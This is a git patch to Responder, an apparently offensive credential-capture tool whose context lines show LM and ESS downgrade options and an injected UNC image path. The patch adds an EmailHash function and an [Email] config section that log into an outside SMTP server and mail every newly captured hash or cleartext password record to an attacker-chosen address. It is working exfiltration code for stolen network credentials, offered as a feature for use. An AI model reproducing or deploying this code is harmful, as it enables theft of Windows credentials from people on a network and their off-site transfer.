From 5292c3ea39e82de7d17ea46c06e1e5de2f11fde8 Mon Sep 17 00:00:00 2001
From: deadjakk <deadjakk@shell.rip>
Date: Wed, 2 Jun 2021 01:31:07 -0500
Subject: [PATCH] added email send functionality

---
 Responder.conf |  8 ++++++++
 Responder.py   |  7 +++++++
 settings.py    |  8 ++++++++
 utils.py       | 36 +++++++++++++++++++++++++++++++++++-
 4 files changed, 58 insertions(+), 1 deletion(-)

diff --git a/Responder.conf b/Responder.conf
index 19f9b9d..5871f68 100644
--- a/Responder.conf
+++ b/Responder.conf
@@ -100,3 +100,11 @@ HTMLToInject = <img src='file://///RespProxySrv/pictures/logso.jpg' alt='Loading
 ; Configure SSL Certificates to use
 SSLCert = certs/responder.crt
 SSLKey = certs/responder.key
+
+[Email]
+enabled=Off
+sendtoaddress=destinationaddress@domain.com
+username=sendingaddress@domain.com
+password=passwordtoemail
+port=587
+server=mail.domain.com
diff --git a/Responder.py b/Responder.py
index 302bdf1..77d090e 100755
--- a/Responder.py
+++ b/Responder.py
@@ -45,6 +45,7 @@ parser.add_option('-P','--ProxyAuth',       action="store_true", help="Force NTL
 parser.add_option('--lm',                  action="store_true", help="Force LM hashing downgrade for Windows XP/2003 and earlier. Default: False", dest="LM_On_Off", default=False)
 parser.add_option('--disable-ess',         action="store_true", help="Force ESS downgrade. Default: False", dest="NOESS_On_Off", default=False)
 parser.add_option('-v','--verbose',        action="store_true", help="Increase verbosity.", dest="Verbose")
+parser.add_option('--test-email',          action="store_true", help="Send Test Email", dest="testemail")
 options, args = parser.parse_args()
 
 if not os.geteuid() == 0:
@@ -57,6 +58,12 @@ elif options.OURIP is None and IsOsX() is True:
 
 settings.init()
 settings.Config.populate(options)
+if options.testemail:
+    if settings.Config.emailenabled:
+            EmailHash("[EMAIL] If you received this email, responder email is working")
+            print(color("[EMAIL]",3,1), "attempted to send test email")
+    else:
+            print(color("[EMAIL]",1), "email functionality is disabled. see Responder.conf to enable")
 
 StartupMessage()
 
diff --git a/settings.py b/settings.py
index 3c02527..84fd987 100644
--- a/settings.py
+++ b/settings.py
@@ -84,6 +84,14 @@ class Settings:
 		config = ConfigParser.ConfigParser()
 		config.read(os.path.join(self.ResponderPATH, 'Responder.conf'))
 
+		# Email
+		self.emailenabled = self.toBool(config.get('Email', 'enabled'))
+		self.emailserver = config.get('Email', 'server')
+		self.emailport = config.get('Email', 'port')
+		self.emailpassword = config.get('Email', 'password')
+		self.emailusername = config.get('Email', 'username')
+		self.emailsendto = config.get('Email', 'sendtoaddress')
+
 		# Servers
 		self.HTTP_On_Off     = self.toBool(config.get('Responder Core', 'HTTP'))
 		self.SSL_On_Off      = self.toBool(config.get('Responder Core', 'HTTPS'))
diff --git a/utils.py b/utils.py
index f805279..264dc71 100644
--- a/utils.py
+++ b/utils.py
@@ -26,6 +26,37 @@ import codecs
 import struct
 from calendar import timegm
 
+def EmailHash(result):
+    import smtplib
+    if not settings.Config.emailenabled:
+        return
+    if not settings.Config.emailport or \
+    not settings.Config.emailserver or \
+    not settings.Config.emailpassword or \
+    not settings.Config.emailsendto :
+        print(color("[EMAIL]",1),"Check email configuration, "
+            "not all email settings are populated. Try sending a test email"
+            "using the --test-email flag when starting Responder")
+        return
+    try:
+        server = smtplib.SMTP(settings.Config.emailserver,
+            int(settings.Config.emailport))
+        server.ehlo()
+        server.starttls()
+        server.ehlo
+        server.login(settings.Config.emailusername, 
+                settings.Config.emailpassword)
+        message = 'To:{}\nFrom:{}\nSubject: hashes\nsend by responder:{}'.format(
+                settings.Config.emailsendto,
+                settings.Config.emailusername,
+                result)
+        server.sendmail(settings.Config.emailusername, settings.Config.emailsendto,
+                message)
+        server.close()
+        print(color("[EMAIL]",3,1),"Sent email to {}".format(settings.Config.emailsendto))
+    except Exception as e:
+        print(color("[EMAIL]",1),"Error sending email {}".format(e))
+     
 def RandomChallenge():
 	if settings.Config.PY2OR3 == "PY3":
 		if settings.Config.NumChal == "random":
@@ -213,7 +244,6 @@ def CreateResponderDb():
 		cursor.close()
 
 def SaveToDb(result):
-
 	for k in [ 'module', 'type', 'client', 'hostname', 'user', 'cleartext', 'hash', 'fullhash' ]:
 		if not k in result:
 			result[k] = ''
@@ -278,6 +308,10 @@ def SaveToDb(result):
 		if settings.Config.AutoIgnore and not result['user'].endswith('$'):
 			settings.Config.AutoIgnoreList.append(result['client'])
 			print(color('[*] Adding client %s to auto-ignore list' % result['client'], 4, 1))
+
+		# Email to desired email address
+		EmailHash(str(result))
+        
 	elif len(result['cleartext']):
 		print(color('[*] Skipping previously captured cleartext password for %s' % result['user'], 3, 1))
 		text('[*] Skipping previously captured cleartext password for %s' % result['user'])